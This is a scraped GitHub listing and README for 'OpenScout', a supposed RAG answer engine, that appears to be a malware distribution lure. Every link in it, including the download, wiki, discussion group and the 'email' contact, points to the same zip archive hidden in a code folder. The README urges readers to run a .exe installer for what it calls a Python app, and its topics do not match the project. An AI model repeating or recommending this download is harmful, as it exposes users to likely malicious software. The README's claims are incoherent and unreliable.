https://github.com/boxcalfdevelopmentallearning748/openscout
🔍 Enhance your queries with OpenScout, a RAG system that retrieves, ranks, and synthesizes web content for concise answers using LLM integration.
https://github.com/boxcalfdevelopmentallearning748/openscout
android android-studio faiss firebase frc-scouting frc-steamworks gemini generative-ai mcp mcp-server neo4j openai robotics robotics-competition sqlite tavily vector-database
Last synced: 2 months ago
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🔍 Enhance your queries with OpenScout, a RAG system that retrieves, ranks, and synthesizes web content for concise answers using LLM integration.
- Host: GitHub
- URL: https://github.com/boxcalfdevelopmentallearning748/openscout
- Owner: boxcalfdevelopmentallearning748
- License: mit
- Created: 2025-11-22T08:30:14.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2025-11-22T14:13:34.000Z (7 months ago)
- Last Synced: 2025-11-22T16:17:35.181Z (7 months ago)
- Topics: android, android-studio, faiss, firebase, frc-scouting, frc-steamworks, gemini, generative-ai, mcp, mcp-server, neo4j, openai, robotics, robotics-competition, sqlite, tavily, vector-database
- Language: Python
- Size: 1.04 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🚀 OpenScout - Your Smart Answer Engine Awaits
[](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip)
## 📚 Overview
OpenScout is a Perplexity-inspired answer engine. It transforms a single question into a well-researched, cited response. With features such as web search, retrieval, and LLM synthesis, OpenScout offers a streamlined experience in a lightweight Streamlit application.
## ⚙️ Features
- **Quick Answers:** Get instant, cited answers to your questions.
- **User-Friendly Interface:** Designed for everyone, no tech skills required.
- **Powered by Advanced Technologies:** Utilizes web search and generative AI.
- **Easy Setup:** Simple installation process.
## 📝 System Requirements
To run OpenScout, ensure your system meets the following requirements:
- Operating System: Windows 10 or higher, macOS 10.15 or higher, or any modern Linux distribution.
- Python: Python 3.8 or higher.
- RAM: Minimum 4 GB recommended.
- Storage: At least 500 MB of free space.
## 🚀 Getting Started
1. **Visit the Download Page:** To download OpenScout, click [here](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).
2. **Choose the Latest Release:** Look for the latest version in the releases section. The latest version offers the newest features and bug fixes.
3. **Download the Installer:** Click on the appropriate installer for your operating system.
## 📥 Download & Install
To start using OpenScout, visit this page to download: [Download OpenScout](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).
### Installation Steps
1. **Run the Installer:**
- For Windows, double-click the `.exe` file.
- For macOS, open the `.dmg` file and drag OpenScout to your Applications folder.
- For Linux, unzip the downloaded file and run the install script.
2. **Follow Installation Prompts:** Follow the on-screen instructions. This usually involves accepting terms and choosing an installation location.
3. **Open OpenScout:** After installation, locate OpenScout in your applications menu and double-click to launch it.
## ❓ How to Use OpenScout
1. **Enter Your Question:** Type in your question in the input box provided.
2. **Get Your Answer:** Press enter or click the search button. OpenScout will gather data and provide a response with citations.
3. **Explore Further:** Click on any cited links for more information.
## 🌐 Additional Resources
- **Documentation:** For more detailed instructions and troubleshooting, visit our [Wiki](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip).
- **Community Support:** Join our [Discussion Group](https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip) for help from other users and developers.
## 🛠️ Troubleshooting Guide
If you encounter any issues while using OpenScout, consider the following steps:
- **Check System Requirements:** Ensure you meet the minimum system specifications.
- **Restart Your Device:** Sometimes, a simple restart can solve many issues.
- **Reinstall OpenScout:** If problems persist, try uninstalling and reinstalling the application.
## 📞 Contact Us
For further questions or support, please reach out via our GitHub issues page or email us directly at https://github.com/boxcalfdevelopmentallearning748/OpenScout/raw/refs/heads/main/core/mcp/Scout_Open_2.0.zip We are here to help!
## 🏷️ Topics
OpenScout relates to the following topics:
- faiss
- gemini
- generative-ai
- mcp
- mcp-server
- neo4j
- openai
- sqlite
- tavily
- vector-database
Your journey to smarter answers begins today. Download OpenScout and explore the future of answered inquiries.